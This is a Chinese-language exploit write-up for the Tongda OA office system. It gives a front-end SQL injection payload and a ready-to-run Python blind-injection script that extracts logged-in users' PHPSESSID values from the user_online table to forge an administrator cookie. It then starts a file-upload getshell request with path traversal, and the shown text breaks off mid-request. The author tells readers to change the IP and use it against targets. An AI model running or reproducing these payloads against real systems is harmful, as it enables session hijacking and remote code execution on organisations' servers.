0x00?前言
對于滲透測試來說, 后臺的SQL注入其實是很雞肋的, 所以我們的突破點一定是從一個前臺的漏洞開始, 比如前臺SQL注入. 通達OA的前臺SQL注入, 根據之前公開的文章推測數量應該是有多個, 但都沒有明確給出payload, 對于沒有代碼審計能力的人來說是無法直接利用的.
通達OA的數據庫為MYSQL, MYSQL注入常用的利用方式:
(1)當前數據庫賬戶擁有讀寫權限且知道物理路徑的時候直接寫shell.
(2)當前注入點支持多語句執行且知道物理路徑的時候利用數據庫日志導出寫shell.
(3)讀取管理員帳號密碼進入后臺, 尋找新的突破點, 如任意文件上傳漏洞寫shell.
但這些均不適用于通達OA. 通達OA雖然默認是root用戶, 但卻沒有啟用讀寫權限, 本篇文章所涉及到的SQL注入也不支持堆疊注入, 且數據庫存儲的帳號密碼是加密的, 不容易解密.
那么我們要如何利用呢?
0x01 SQL注入獲取PHPSESSID
給出payload
經過測試,已知的影響版本: 2015/2016/2017
不影響v11以上版本,其他未知.
/general/document/index.php/recv/register/insert
(POST)
title)values("'"^exp(if(ascii(substr(user(),1,1))%3d114,1,710)))#?=1&_SERVER=
條件為真時返回302跳轉到404, 為假時利用exp()函數報錯,提示"SQL語句執行錯誤",驗證注入點存在
先給利用語句
select SID from user_online limit 1;
通達OA數據庫中有一張表(user_online)是存儲當前處于登陸狀態的帳號的認證憑證的,也就是PHPSESSID只要能夠獲取到這個值,我們就可以偽造Cookie登陸后臺
UID等于1即為管理員的憑證(后臺多種getshell的方式都是需要管理員權限的)
同一個賬戶是可以同時異地登錄產生多個SID的值,我們只需獲取一個即可, 加上?limit1?防止多個返回結果導致的報錯,減少麻煩.
好了,現在我們已經清楚了了解了數據庫的這張表的作用了,現在我們需要一個注入點,上面已給出.
?
有了注入點也還不夠,我們還需要一個腳本給夠輔助我們快速的獲取到想要的值
(默認的sqlmap是不能識別這個注入點的)
?
嗯,腳本也已經給大家準備好了,只需把代碼中的"127.0.0.1"更改為目標IP即可使用.
當然,你需要提前判斷是否存在注入
# -*- coding:utf-8 -*-
import requests
def hello(url, payload):
? ?result = ""
? ?payload_bak = payload
? ?for len in range(1, 27):
? ? ? ?str = '0'
? ? ? ?for i in range(0, 7):
? ? ? ? ? ?payload = payload.format(len, 6 - i, int(str + '0', 2))
? ? ? ? ? ?data = {payload: "1", "_SERVER": ""}
? ? ? ? ? ?r = requests.post(url, data=data, timeout=10, verify=False, allow_redirects=False)
? ? ? ? ? ?# print(r.status_code)
? ? ? ? ? ?if r.status_code == 302:
? ? ? ? ? ? ? ?str = str + '0'
? ? ? ? ? ?elif r.status_code == 500:
? ? ? ? ? ? ? ?str = str + '1'
? ? ? ? ? ?else:
? ? ? ? ? ? ? ?hello(url, payload)
? ? ? ? ? ?payload = payload_bak
? ? ? ?result += chr(int(str, 2))
? ? ? ?if int(str, 2) == 127:
? ? ? ? ? ?print("系統當前無正在登錄的用戶...")
? ? ? ? ? ?return result
? ? ? ?print("第%d位為: %s" % (len, chr(int(str, 2))))
? ?return result
def main():
? ?url = "http://127.0.0.1/general/document/index.php/recv/register/insert"
? ?payload = """title)values("'"^exp(if((ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/1),{},1))>>{}={}),1,710)))# """
? ?print("PHPSESSID=%s" % hello(url, payload))
if __name__ == "__main__":
? ?main()
這里我只登錄了一個賬戶,運行腳本通過SQL注入獲取到PHPSESSID值
查看瀏覽器的Cookie,對比可以發現是一樣的
有了PHPSESSID,我們就可以登錄后臺getshell,實際上我們并不需要登錄,只需要偽造Cookie發個數據包即可.
請往下看.
0x02?后臺getshell
后臺getshell的方式多種,這里舉例一種比較好用的,也是影響范圍最大的.
經過測試,已知的影響版本:2017版/v11.0-v11.6
?
payload如下,直接拿過去用burp發包就行,需要修改的地方有兩個
目標IP與Cookie中PHPSESSID的值(SQL注入獲取到的SID)
POST?/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./?HTTP/1.1Host:?192.168.238.141User-Agent:?Mozilla/5.0?(Windows?NT?10.0;?Win64;?x64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/83.0.4103.116